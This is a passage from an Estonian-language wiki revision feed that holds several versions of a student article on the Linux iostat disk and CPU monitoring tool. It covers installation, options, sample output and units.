sda1            178.16       773.26      1328.79 1917688482 3295418672&lt;br /&gt;
sda2             16.51       323.11       269.54  801326878  668472584&lt;br /&gt;
sdb             371.22       945.74      1073.08 2345454041 2661251200&lt;br /&gt;
sdb1            371.22       945.72      1073.08 2345398577 2661251200&lt;br /&gt;
sdc             407.93       207.00       972.19  513366813 2411036564&lt;br /&gt;
sdc1            407.93       206.98       972.19  513311349 2411036564&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Käsk iostat 2 3 käivitab iostat&#039;i iga 2 sekundi tagant kokku 3 korda.[http://www.thegeekstuff.com/2011/07/iostat-vmstat-mpstat-examples/]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;$ iostat 2 3&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Laiendatud versiooni kplokkseadmete info kuvamiseks saab kasutada käsku &#039;&#039;&#039;iostat -xtc&#039;&#039;&#039;.[https://docs.oracle.com/cd/E23824_01/html/821-1451/spmonitor-4.html]&lt;br /&gt;
&amp;lt;pre&amp;gt;$ iostat -xtc&lt;br /&gt;
                  extended device statistics                      tty         cpu&lt;br /&gt;
device       r/s    w/s   kr/s   kw/s wait actv  svc_t  %w  %b  tin tout  us sy wt id&lt;br /&gt;
fd0          0.0    0.0    0.0    0.0  0.0  0.0    0.0   0   0    0    0   0  0  0 100&lt;br /&gt;
sd0          0.0    0.0    0.4    0.4  0.0  0.0   49.5   0   0 &lt;br /&gt;
sd6          0.0    0.0    0.0    0.0  0.0  0.0    0.0   0   0 &lt;br /&gt;
nfs1         0.0    0.0    0.0    0.0  0.0  0.0    0.0   0   0 &lt;br /&gt;
nfs49        0.0    0.0    0.0    0.0  0.0  0.0   15.1   0   0 &lt;br /&gt;
nfs53        0.0    0.0    0.4    0.0  0.0  0.0   24.5   0   0 &lt;br /&gt;
nfs54        0.0    0.0    0.0    0.0  0.0  0.0    6.3   0   0 &lt;br /&gt;
nfs55        0.0    0.0    0.0    0.0  0.0  0.0    4.9   0   0 &amp;lt;/pre&amp;gt;&lt;br /&gt;
&#039;&#039;&#039;&lt;br /&gt;
==Kokkuvõte==&lt;br /&gt;
&#039;&#039;&#039;&lt;br /&gt;
Iostat on kasulik tööriist süsteemi toimimise jälgimiseks, mis kuvab infot plokkseadmete, protsessori ja võrgu kasutuse kohta. Selle abil saadud info on abiks süsteemi sisend/väljund seadmete konfiguratsiooni optimeerimiseks, kuna aitab välja selgitada võimalikke probleemseid kohti.&lt;br /&gt;
&#039;&#039;&#039;&lt;br /&gt;
==Allikad==&lt;br /&gt;
&#039;&#039;&#039;&lt;br /&gt;
[http://linux.die.net/man/1/iostat Linux man page]&lt;br /&gt;
&lt;br /&gt;
[http://www.computerhope.com/unix/iostat.htm Computerhope]&lt;br /&gt;
&lt;br /&gt;
[http://www.thegeekstuff.com/2011/07/iostat-vmstat-mpstat-examples/ Thegeekstuff]&lt;br /&gt;
&lt;br /&gt;
[https://docs.oracle.com/cd/E23824_01/html/821-1451/spmonitor-4.html Oracle Solaris Admin]&lt;br /&gt;
&lt;br /&gt;
[[Category:Operatsioonisüsteemide administreerimine ja sidumine]]&lt;/div&gt;</summary>
		<author><name>Eprudnik</name></author>
	</entry>
	<entry>
		<id>https://wiki.itcollege.ee/index.php?title=Iostat&amp;diff=82574</id>
		<title>Iostat</title>
		<link rel="alternate" type="text/html" href="https://wiki.itcollege.ee/index.php?title=Iostat&amp;diff=82574"/>
		<updated>2014-11-13T19:11:54Z</updated>

		<summary type="html">&lt;p&gt;Eprudnik: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&#039;&#039;&#039;&#039;&#039;&lt;br /&gt;
= Iostat =&lt;br /&gt;
&#039;&#039;&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Elina Prudnikova A21&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;&#039;&#039;&lt;br /&gt;
=== Lühikirjeldus ===&lt;br /&gt;
&#039;&#039;&#039;&#039;&#039;&lt;br /&gt;
Iostat&#039;i kasutatakse sisend/väljund  seadmete toimimise jälgimiseks. Näitab infot protsessori, võrgu, ketaste ja partitsioonide kohta. Iostat&#039;i raportid on abiks süsteemi sisend/väljund seadmete optimiseerimiseks. Iostat genereerib kolme tüüpi raporteid: protsessori, plokkseadmete ja võrgu kasutusest. Esimene raport genereerib andmeid alates süsteemi alglaadimisest. Iga järgnev raport hõlmab aega alates eelmisest raportist. [http://linux.die.net/man/1/iostat]&lt;br /&gt;
&lt;br /&gt;
Iostat on osa sar utiliidist, mis sisaldub sysstat paketis. [http://www.thegeekstuff.com/2011/07/iostat-vmstat-mpstat-examples/]&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;&lt;br /&gt;
===Paigaldamise lühijuhend===&lt;br /&gt;
&#039;&#039;&#039;&lt;br /&gt;
Iostat&#039;i kasutamiseks on vaja paigaldada &#039;&#039;&#039;sysstat&#039;&#039;&#039;.[http://www.thegeekstuff.com/2011/03/sar-examples/]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;sudo apt-get install sysstat&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Kontrolli paigaldust:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;$ sar -V&lt;br /&gt;
sysstat version 10.0.0&lt;br /&gt;
(C) Sebastien Godard (sysstat  orange.fr)&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;$ sar 1 3&lt;br /&gt;
Linux 2.6.18-194.el5PAE (dev-db)        03/26/2011      _i686_  (8 CPU)&lt;br /&gt;
&lt;br /&gt;
01:27:32 PM       CPU     %user     %nice   %system   %iowait    %steal     %idle&lt;br /&gt;
01:27:33 PM       all      0.00      0.00      0.00      0.00      0.00    100.00&lt;br /&gt;
01:27:34 PM       all      0.25      0.00      0.25      0.00      0.00     99.50&lt;br /&gt;
01:27:35 PM       all      0.75      0.00      0.25      0.00      0.00     99.00&lt;br /&gt;
Average:          all      0.33      0.00      0.17      0.00      0.00     99.50&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[http://www.thegeekstuff.com/2011/03/sar-examples/ Abiks paigaldamisel]&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;&lt;br /&gt;
=== Süntaks ===&lt;br /&gt;
&#039;&#039;&#039;&lt;br /&gt;
Käsu süntaks on kujul: [http://linux.die.net/man/1/iostat]&lt;br /&gt;
&amp;lt;pre&amp;gt;iostat [ -c ] [ -d ] [ -h ] [ -N ] [ -k | -m ] [ -t ] [ -V ] [ -x ] &lt;br /&gt;
       [ -z ] [ [ [ -T ] -g group_name ] { device [...] | ALL } ] &lt;br /&gt;
       [ -p [ device [,...] | ALL ] ] [ interval [ count ] ]&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;&lt;br /&gt;
=== Võtmed ===&lt;br /&gt;
&#039;&#039;&#039;&lt;br /&gt;
Kasutatavad võtmed on: [http://linux.die.net/man/1/iostat]&lt;br /&gt;
&amp;lt;table style=&amp;quot;background:white;color:black;width:80%;&amp;quot; border=&amp;quot;1&amp;quot; cellpadding=&amp;quot;5&amp;quot; cellspacing=&amp;quot;0&amp;quot; align=&amp;quot;&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td&amp;gt;-c&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td&amp;gt;Kuvab protsessori kasutuse raportit.&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td&amp;gt;-d&amp;lt;/td&amp;gt; &amp;lt;td&amp;gt;Kuvab seadmete kasutuse raportit.&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td&amp;gt;-g group_name { device [...] | ALL }&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt; Kuvab seadmete grupi statistikat. Kuvatakse andmeid iga grupis oleva seadme kohta ja lisaks seadmete grupi kohta kokku. ALL käsk määrab, et kõiki süsteemi poolt defineeritud plokkseadmeid loetakse gruppi kuuluvaks.&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td&amp;gt;-h&amp;lt;/td&amp;gt; &amp;lt;td&amp;gt;Muudab kuvatud mõõtühikuid kergemini loetavaks (human readable). &amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td&amp;gt;-k&amp;lt;/td&amp;gt; 	&amp;lt;td&amp;gt;Määra ühikuteks kb/s.&amp;lt;/td&amp;gt; &lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td&amp;gt;-m&amp;lt;/td&amp;gt; 	&amp;lt;td&amp;gt;Määra ühikuteks Mb/s.&amp;lt;/td&amp;gt; &lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td&amp;gt;-N&amp;lt;/td&amp;gt; 	&amp;lt;td&amp;gt;Kuvab infot device mapper&#039;i kohta. Kasulik LVM2 jälgimiseks.&amp;lt;/td&amp;gt; &lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td&amp;gt;-p [ { device [,...] | ALL } ]&amp;lt;/td&amp;gt; &amp;lt;td&amp;gt;Kuvab andmeid plokkseadmete ja nende partitsioonide kohta. Kui seadme nimi on lisatud, siis näidatakse infot selle seadme ja tema partitsioonide kohta. ALL näitab kõiki süsteemi partitsioone ja plokkseadmeid. &amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td&amp;gt;-T&amp;lt;/td&amp;gt; &amp;lt;td&amp;gt;Seda võtit peab kasutama koos -g võtmega ja määrab, et kuvatakse andmeid grupi kohta kokku, mitte üksikute seadmete jaoks. &amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td&amp;gt;-t&amp;lt;/td&amp;gt; &amp;lt;td&amp;gt;Näita iga raporti aega. &amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td&amp;gt;-V&amp;lt;/td&amp;gt; 	&amp;lt;td&amp;gt;Prindi versiooni number ja tekst. &amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td&amp;gt;-x&amp;lt;/td&amp;gt; &amp;lt;td&amp;gt;Kuva laiendatud statistikat. &amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td&amp;gt;-z&amp;lt;/td&amp;gt; 	&amp;lt;td&amp;gt;Ära kuva seadmeid, mis pole näidisperioodi (sample period) jooksul olnud aktiivsed.&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt; &lt;br /&gt;
&amp;lt;/table&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;&lt;br /&gt;
===Protsessori ja plokkseadmete raport===&lt;br /&gt;
&#039;&#039;&#039;&lt;br /&gt;
&#039;&#039;&#039;Iostat&#039;&#039;&#039; käsk ilma võtmeteta kuvab infot protsessori kasutuse kohta ja sisend/väljund infot kõikide ketaste ja kettajagude kohta, nagu allpool esitatud. [http://www.thegeekstuff.com/2011/07/iostat-vmstat-mpstat-examples/]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;$ iostat&lt;br /&gt;
Linux 2.6.32-100.28.5.el6.x86_64 (dev-db)       07/09/2011&lt;br /&gt;
&lt;br /&gt;
avg-cpu:  %user   %nice %system %iowait  %steal   %idle&lt;br /&gt;
           5.68    0.00    0.52    2.03    0.00   91.76&lt;br /&gt;
&lt;br /&gt;
Device:            tps   Blk_read/s   Blk_wrtn/s   Blk_read   Blk_wrtn&lt;br /&gt;
sda             194.72      1096.66      1598.70 2719068704 3963827344&lt;br /&gt;
sda1            178.20       773.45      1329.09 1917686794 3295354888&lt;br /&gt;
sda2             16.51       323.19       269.61  801326686  668472456&lt;br /&gt;
sdb             371.31       945.97      1073.33 2345452365 2661206408&lt;br /&gt;
sdb1            371.31       945.95      1073.33 2345396901 2661206408&lt;br /&gt;
sdc             408.03       207.05       972.42  513364213 2411023092&lt;br /&gt;
sdc1            408.03       207.03       972.42  513308749 2411023092&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Iostat&#039;&#039;&#039; võtmega &#039;&#039;&#039;-c&#039;&#039;&#039; kuvab infot ainult protsessori kasutuse kohta.[http://www.thegeekstuff.com/2011/07/iostat-vmstat-mpstat-examples/]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;$ iostat -c&lt;br /&gt;
Linux 2.6.32-100.28.5.el6.x86_64 (dev-db)       07/09/2011&lt;br /&gt;
&lt;br /&gt;
avg-cpu:  %user   %nice %system %iowait  %steal   %idle&lt;br /&gt;
           5.68    0.00    0.52    2.03    0.00   91.76&amp;lt;/pre&amp;gt;&lt;br /&gt;
&#039;&#039;&#039;&lt;br /&gt;
Iostat&#039;&#039;&#039; võtmega &#039;&#039;&#039;-d&#039;&#039;&#039; kuvab infot ainult ketaste ja kettajagude kohta.[http://www.thegeekstuff.com/2011/07/iostat-vmstat-mpstat-examples/]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;$ iostat -d&lt;br /&gt;
Linux 2.6.32-100.28.5.el6.x86_64 (dev-db)       07/09/2011&lt;br /&gt;
&lt;br /&gt;
Device:            tps   Blk_read/s   Blk_wrtn/s   Blk_read   Blk_wrtn&lt;br /&gt;
sda             194.71      1096.61      1598.63 2719068720 3963827704&lt;br /&gt;
sda1            178.20       773.41      1329.03 1917686810 3295355248&lt;br /&gt;
sda2             16.51       323.18       269.60  801326686  668472456&lt;br /&gt;
sdb             371.29       945.93      1073.28 2345452365 2661209192&lt;br /&gt;
sdb1            371.29       945.91      1073.28 2345396901 2661209192&lt;br /&gt;
sdc             408.01       207.04       972.38  513364213 2411024484&lt;br /&gt;
sdc1            408.01       207.02       972.38  513308749 2411024484&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Kasutatud mõõtühikud&#039;&#039;&#039;&lt;br /&gt;
&amp;lt;p&amp;gt;Protsessori ja seadmete raportis kasutatud ühikud on esitatud järgnevas tabelis. [http://linux.die.net/man/1/iostat]&amp;lt;/p&amp;gt;&lt;br /&gt;
&amp;lt;table style=&amp;quot;background:white;color:black;width:80%;&amp;quot; border=&amp;quot;1&amp;quot; cellpadding=&amp;quot;5&amp;quot; cellspacing=&amp;quot;0&amp;quot; align=&amp;quot;&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&amp;lt;td&amp;gt;%user&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;Kuva protsessori kasutuse protsenti ajal, kui toimus käivitamine kasutaja (programmi) tasemel. &amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&amp;lt;td&amp;gt;%nice&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;Kuva protsessori kasutuse protsenti ajal, kui toimus käivitamine kasutaja prioriteediga &#039;&#039;nice&#039;&#039; tasemel. &amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&amp;lt;td&amp;gt;%system&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;Kuva protsessori kasutuse protsenti ajal, kui toimus käivitamine süsteemi tasemel.&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&amp;lt;td&amp;gt;%iowait&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;Kuva protsenti ajast mil protsessor oli tegevusetu siis, kui süsteem sai olulise sisend/väljund nõude.&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&amp;lt;td&amp;gt;%steal&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;Kuva protsenti ajast mil virtuaalne protsessor oli ooteajal, sest &#039;&#039;hypervisor&#039;&#039; tegeles teise virtuaalse protsessoriga.&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&amp;lt;td&amp;gt;%idle&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;Kuva protsenti ajast mil protsessor oli tegevusetu ja süsteemil polnud olulisi sisend/väljund nõudeid.&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&amp;lt;td&amp;gt;tps&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;Ülekandeid sekundis. Ülekanne on seadmele edastatud sisend/väljund soov.&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&amp;lt;td&amp;gt;Blk_read/s&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;Kui palju andmeid on seadmelt loetud, esitatud kujul plokkide arv sekundis.&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&amp;lt;td&amp;gt;Blk_wrtn/s&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;Kui palju andmeid on seadmele kirjutatud, esitatud kujul plokkide arv sekundis.&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&amp;lt;td&amp;gt;Blk_read&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;Loetud plokkide koguarv.&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&amp;lt;td&amp;gt;Blk_wrtn&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;Kirjutatud plokkide koguarv.&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;/table&amp;gt;&lt;br /&gt;
&#039;&#039;&#039;&lt;br /&gt;
===Võrgu raport===&lt;br /&gt;
&#039;&#039;&#039;&lt;br /&gt;
Võrgu statistika kuvamiseks saab kasutada võtit &#039;&#039;&#039;-n&#039;&#039;&#039;.[http://www.thegeekstuff.com/2011/07/iostat-vmstat-mpstat-examples/]&lt;br /&gt;
&amp;lt;pre&amp;gt;$ iostat -n&lt;br /&gt;
Linux 2.6.32-100.28.5.el6.x86_64 (dev-db)        07/09/2011&lt;br /&gt;
&lt;br /&gt;
avg-cpu:  %user   %nice    %sys %iowait   %idle&lt;br /&gt;
           4.33    0.01    1.16    0.31   94.19&lt;br /&gt;
&lt;br /&gt;
Device:            tps   Blk_read/s   Blk_wrtn/s   Blk_read   Blk_wrtn&lt;br /&gt;
sda               2.83         0.35         5.39   29817402  457360056&lt;br /&gt;
sda1              3.32        50.18         4.57 4259963994  387641400&lt;br /&gt;
sda2              0.20         0.76         0.82   64685128   69718576&lt;br /&gt;
sdb               6.59        15.53        42.98 1318931178 3649084113&lt;br /&gt;
sdb1             11.80        15.53        42.98 1318713382 3649012985&lt;br /&gt;
&lt;br /&gt;
Device:                  rBlk_nor/s   wBlk_nor/s   rBlk_dir/s   wBlk_dir/s   rBlk_svr/s   wBlk_svr/s&lt;br /&gt;
192.168.1.4:/home/data      90.67        0.00         0.00         0.00         5.33         0.00&lt;br /&gt;
192.168.1.4:/backup         8.74         0.00         0.00         0.00         8.74         0.00&lt;br /&gt;
192.168.1.8:/media          0.02         0.00         0.00         0.00         0.01         0.00&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Kasutatud mõõtühikud&#039;&#039;&#039;&lt;br /&gt;
Võrgu statistika kohta käivad ühikud on järgnevas tabelis.[http://linux.die.net/man/1/iostat]&lt;br /&gt;
&amp;lt;table style=&amp;quot;background:white;color:black;width:80%;&amp;quot; border=&amp;quot;1&amp;quot; cellpadding=&amp;quot;5&amp;quot; cellspacing=&amp;quot;0&amp;quot; align=&amp;quot;&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&amp;lt;td&amp;gt;rBlk_nor/s&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;Programmide poolt loetud plokkide arv.&amp;lt;/td&amp;gt;&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&amp;lt;td&amp;gt;wBlk_nor/s&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;Programmide poolt kirjutatud plokkide arv.&amp;lt;/td&amp;gt;&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&amp;lt;td&amp;gt;rBlk_dir/s &amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;Loetud plokkide arv failidest, mis avati O_DIRECT lipuga.&amp;lt;/td&amp;gt;&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&amp;lt;td&amp;gt;wBlk_dir/s &amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;Kirjutatud plokkide arv failidesse, mis avati O_DIRECT lipuga.&amp;lt;/td&amp;gt;&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&amp;lt;td&amp;gt;rBlk_svr/s&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;NFS kliendi poolt serverist loetud plokkide arv.&amp;lt;/td&amp;gt;&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&amp;lt;td&amp;gt;wBlk_svr/s&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;NFS kliendi poolt serverisse kirjutatud plokkide arv.&amp;lt;/td&amp;gt;&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;/table&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[Category:Operatsioonisüsteemide administreerimine ja sidumine]]&lt;/div&gt;</summary>
		<author><name>Eprudnik</name></author>
	</entry>
	<entry>
		<id>https://wiki.itcollege.ee/index.php?title=Iostat&amp;diff=82572</id>
		<title>Iostat</title>
		<link rel="alternate" type="text/html" href="https://wiki.itcollege.ee/index.php?title=Iostat&amp;diff=82572"/>
		<updated>2014-11-13T15:37:02Z</updated>

		<summary type="html">&lt;p&gt;Eprudnik: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&#039;&#039;&#039;&#039;&#039;&lt;br /&gt;
= Iostat =&lt;br /&gt;
&#039;&#039;&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Elina Prudnikova A21&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;&#039;&#039;&lt;br /&gt;
=== Lühikirjeldus ===&lt;br /&gt;
&#039;&#039;&#039;&#039;&#039;&lt;br /&gt;
Iostat&#039;i kasutatakse sisend/väljund  seadmete toimimise jälgimiseks. Näitab infot ka protsessori, võrgu, ketaste ja partitsioonide kohta. Iostat&#039;i raportid on abiks süsteemi sisend/väljund seadmete optimiseerimiseks. Iostat genereerib kolme tüüpi raporteid: protsessori, plokkseadmete ja võrgu kasutusest. Esimene raport näitab andmeid alates süsteemi alglaadimisest. Iga järgnev raport näitab aega alates eelmisest raportist. [http://linux.die.net/man/1/iostat]&lt;br /&gt;
&lt;br /&gt;
Iostat on osa sar utiliidist, mis sisaldub sysstat paketis. [http://www.thegeekstuff.com/2011/07/iostat-vmstat-mpstat-examples/]&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;&lt;br /&gt;
===Paigaldamise lühijuhend===&lt;br /&gt;
&#039;&#039;&#039;&lt;br /&gt;
Iostat&#039;i kasutamiseks on vaja paigaldada sysstat.[http://www.thegeekstuff.com/2011/03/sar-examples/]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;sudo apt-get install sysstat&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Kontrolli paigaldust:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;$ sar -V&lt;br /&gt;
sysstat version 10.0.0&lt;br /&gt;
(C) Sebastien Godard (sysstat  orange.fr)&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;$ sar 1 3&lt;br /&gt;
Linux 2.6.18-194.el5PAE (dev-db)        03/26/2011      _i686_  (8 CPU)&lt;br /&gt;
&lt;br /&gt;
01:27:32 PM       CPU     %user     %nice   %system   %iowait    %steal     %idle&lt;br /&gt;
01:27:33 PM       all      0.00      0.00      0.00      0.00      0.00    100.00&lt;br /&gt;
01:27:34 PM       all      0.25      0.00      0.25      0.00      0.00     99.50&lt;br /&gt;
01:27:35 PM       all      0.75      0.00      0.25      0.00      0.00     99.00&lt;br /&gt;
Average:          all      0.33      0.00      0.17      0.00      0.00     99.50&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[http://www.thegeekstuff.com/2011/03/sar-examples/ Abiks paigaldamisel]&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;&lt;br /&gt;
=== Süntaks ===&lt;br /&gt;
&#039;&#039;&#039;&lt;br /&gt;
Käsu süntaks on kujul: [http://linux.die.net/man/1/iostat]&lt;br /&gt;
&amp;lt;pre&amp;gt;iostat [ -c ] [ -d ] [ -h ] [ -N ] [ -k | -m ] [ -t ] [ -V ] [ -x ] &lt;br /&gt;
       [ -z ] [ [ [ -T ] -g group_name ] { device [...] | ALL } ] &lt;br /&gt;
       [ -p [ device [,...] | ALL ] ] [ interval [ count ] ]&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;&lt;br /&gt;
=== Võtmed ===&lt;br /&gt;
&#039;&#039;&#039;&lt;br /&gt;
Kasutatavad võtmed on: [http://linux.die.net/man/1/iostat]&lt;br /&gt;
&amp;lt;table style=&amp;quot;background:white;color:black;width:80%;&amp;quot; border=&amp;quot;1&amp;quot; cellpadding=&amp;quot;5&amp;quot; cellspacing=&amp;quot;0&amp;quot; align=&amp;quot;&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td&amp;gt;-c&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td&amp;gt;Kuvab protsessori kasutuse raportit.&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td&amp;gt;-d&amp;lt;/td&amp;gt; &amp;lt;td&amp;gt;Kuvab seadmete kasutuse raportit.&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td&amp;gt;-g group_name { device [...] | ALL }&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt; Kuvab seadmete grupi statistikat. Kuvatakse andmeid iga grupis oleva seadme kohta ja lisaks seadmete grupi kohta kokku. ALL käsk määrab, et kõiki süsteemi poolt defineeritud plokkseadmeid loetakse gruppi kuuluvaks.&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td&amp;gt;-h&amp;lt;/td&amp;gt; &amp;lt;td&amp;gt;Muudab kuvatud mõõtühikuid kergemini loetavaks (human readable). &amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td&amp;gt;-k&amp;lt;/td&amp;gt; 	&amp;lt;td&amp;gt;Määra ühikuteks kb/s.&amp;lt;/td&amp;gt; &lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td&amp;gt;-m&amp;lt;/td&amp;gt; 	&amp;lt;td&amp;gt;Määra ühikuteks Mb/s.&amp;lt;/td&amp;gt; &lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
